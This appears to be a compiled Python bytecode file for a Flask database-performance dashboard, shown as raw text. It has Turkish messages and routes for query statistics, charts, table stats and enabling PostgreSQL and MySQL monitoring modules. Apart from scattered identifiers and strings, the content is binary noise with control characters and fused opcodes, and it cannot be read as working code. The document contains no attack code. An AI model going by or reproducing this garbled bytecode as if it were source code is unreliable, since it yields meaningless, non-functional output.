ValueError�	TypeErrorrQ�json�range�dumpsr7r6)$r�r�rIrFry�db_info�pg_get_top_queriesr�r�r��mysql_get_top_queriesrhr�r�
query_datarV�processed_queriesr�rE�processed_query�key�	cpu_value�
time_valuer��
query_text�chart_labelr��clean_chart_data�chart_data_json�
json_error�format_errorr�r�r�r��simple_viewrWrWrX�performance_queries>s��
	
��
��

���
�



�
�
�
�"�	���
���

   ���)��r�z!/performance/database/<int:db_id>c
Cs.zitj�|�}|j|j|j|j|jd�}|jdkr$ddl	m
}||�}n |jdvr6tr6ddlm
}||�}nt
td�d�ttd��WS|�d	d
�sZt
|�dd�d
�ttd��WStd||�di�|jdvd�WSty�}z!tj�dt|����t
dt|���d
�ttd��WYd}~Sd}~ww)u%Veritabanı istatistiklerini göster.rzrgr)r*r|uFVeritabanı istatistikleri bu veritabanı türü için desteklenmiyor.r;rsr2Fr�r}r_zperformance/database.htmlrn)r��stats�is_mysqlu-Veritabanı istatistikleri alınırken hata: N)rrEr~rbrcrdrerfrar�r*rpr�rrrrr�rrNrrr=rP)r�r�r��pg_get_database_statsr��mysql_get_database_statsrVrWrWrX�performance_databaseXs<�
	


���r�z/performance/charts/<int:db_id>c
Csz�tj�|�}ttj�dd��}tj�dd�}z�tj���	d�}|j
dkr1ddl}|�|||�}n |j
d	vrBddl
}|�|||�}ntd
d�ttd|d
��WWS|rX|�d�s}|j
dkrctdd�n|j
d	vrntdd�ntdd�ttd|d
��WWS|d}|d}	|d}
i}|��D]\}}
tj�|
�r�dtj�|
�}|||<q�td|||	|
|||d�WWSty�}ztj�dt|����tdd�ttd|d
��WYd}~WSd}~wwt�y}z!tj�dt|����tdt|���d�ttd��WYd}~Sd}~ww)u&Sorgu performans grafiklerini göster.rIr1rF�total_exec_timez%Y%m%d%H%M%SrgrNr|u=Bu veritabanı tipi için grafik görünümü desteklenmiyor.r;r�rw�chartsu`Grafikler oluşturulamadı. Lütfen pg_stat_statements modülünün etkin olduğundan emin olun.uaGrafikler oluşturulamadı. Lütfen performance_schema özelliğinin etkin olduğundan emin olun.uGrafikler oluşturulamadı.rr�r0zperformance/query_charts.html)r��
chart_urlsrr�rIrFrGu.Pandas veya Matplotlib kütüphaneleri eksik: u5Grafik oluşturma için gerekli kütüphaneler eksik.r_u#Grafik sayfası yüklenirken hata: rs)rrEr~r�rr�r�r<r=r8rarv�main�mysql_performance_chartsrrrrsr�r�r��relpathr�ImportErrorrrr=rPrN)r�r�rIrFrGrvr�r��chart_filesrr�r�r�r��url�ierVrWrWrXrv�sh





�
�
����rvz+/performance/table/<int:db_id>/<table_name>c
Cs<zntj�|�}|j|j|j|j|jd�}|jdkr%ddl	m
}|||�}n!|jdvr8tr8ddlm
}|||�}nt
td�d�ttd��WS|�d	d
�s^t
|�dd�d
�ttd|d��WStd|||�di�|jdvd�WSty�}z#tj�dt|����t
dt|���d
�ttd|d��WYd}~Sd}~ww)uTablo istatistiklerini göster.rzrgr)r+r|u@Tablo istatistikleri bu veritabanı türü için desteklenmiyor.r;rsr2Fr�r}r_r�rwzperformance/table.htmlrn)r��
table_namer�r�u'Tablo istatistikleri alınırken hata: N)rrEr~rbrcrdrerfrar�r+rpr�rrrrr�rrNrrr=rP)r�r�r�r��pg_get_table_statsr��mysql_get_table_statsrVrWrWrX�performance_table�s>�
	
���r�z$/performance/enable_pgss/<int:db_id>c
Cst��sttd�d�ttd��SzQtj�|�}|j	dkr+ttd�d�ttd��WSd�
|j|j|j
|j|j�}t�|�}dd	lm}||�}|�d
d�rXt|�dd
�d
�n	t|�dd�d�Wnty~}ztd�
t|��d�WYd}~nd}~wwttd|d��S)u7PostgreSQL pg_stat_statements modülünü etkinleştir.�4Veritabanı modüllerini etkinleştirme izniniz yok.r_rsrgu7pg_stat_statements sadece PostgreSQL için desteklenir.r;z-host={} port={} user={} password={} dbname={}r)r,r2Fr�u$Modül başarıyla etkinleştirildi.uModül etkinleştirilemedi.u/pg_stat_statements etkinleştirilirken hata: {}Nr�rw)rrlrrrrrrEr~rarOrbrcrdrerf�psycopg2�connectr�r,r�rNrP)r�r��conn_str�
connectionr,r�rVrWrWrX�enable_pgss�s*

� ��r�z2/performance/enable_performance_schema/<int:db_id>c
Cs t��sttd�d�ttd��Sts ttd�d�ttd��SzKtj�	|�}|j
dvr:ttd�d�ttd��WS|j|j|j
|j|jd�}d	d
lm}||�}|�dd�rat|�d
d�d�n	t|�d
d�d�Wnty�}ztd�t|��d�WYd}~nd}~wwttd|d��S)u*MySQL Performance Schema'yı etkinleştir.r�r_rsu-MySQL performans modülleri kullanılamıyor.r;r|u=Performance Schema sadece MySQL ve MariaDB için desteklenir.rzr)r.r2Fr�u0Performance Schema başarıyla etkinleştirildi.u'Performance Schema etkinleştirilemedi.u/Performance Schema etkinleştirilirken hata: {}Nr�rw)rrlrrrrrprrEr~rarbrcrdrerfr�r.r�rNrOrP)r�r�r�r.r�rVrWrWrX�enable_performance_schema_route!s8
�	� ��r�z$/performance/reset_stats/<int:db_id>c	
Cstt��sttd�d�ttd��Szrtj�|�}t	t
j�dd��}t
j�dd�}|j
|j|j|j|jd�}|jd	krHd
dlm}||||d�}n#|jd
vr]tr]d
dlm}||||d�}nttd�d�ttd��WS|�dd�ryttd�d�n	t|�dd�d�Wn,ty�}z td�t|��d�t	t
j�dd��}t
j�dd�}WYd}~nd}~wwttd|||d��S)u-Veritabanı sorgu istatistiklerini sıfırla.u/Sorgu istatistiklerini sıfırlama izniniz yok.r_rsrIr�rFrxrzrgrr{�resetr|uLSorgu istatistikleri sıfırlama bu veritabanı türü için desteklenmiyor.r;r2Fu/Sorgu istatistikleri başarıyla sıfırlandı.r�u İstatistikler sıfırlanamadı.u.Sorgu istatistikleri sıfırlanırken hata: {}Nr�)r�rIrF)rrlrrrrrrEr~r�rr�r�rbrcrdrerfrar�r)rpr�rNrOrP)	r�r��reset_limit�reset_order_byr�r�r�r�rVrWrWrX�reset_statsPs@�
	���r�)or�r<r��flaskrrrrrrr�sqlalchemy.excr	�sqlalchemy.sql.expressionr
�flask_babelrr�flask_loginr
rrrrrrrr�rrrrrr�formsrrrrrr r!�backup_utilsr"r#�
storage_utilsr$r%r�r&r'�restore_databaser(�database_performancer)r�r*r�r+r�r,r-r�r�r�r�r.r/rpr��routerYr\ryr�r�r�r�r�r�rTr�r�r�r�r�r�r�r	rr%r(r2rJrOrRrSr_r`rdrhrirjrsr�r�rvr�r�r�r�rWrWrWrX�<module>s$ $�710?S+'
>(T4
(



 #!,F-"-

© KUJUNTI.ID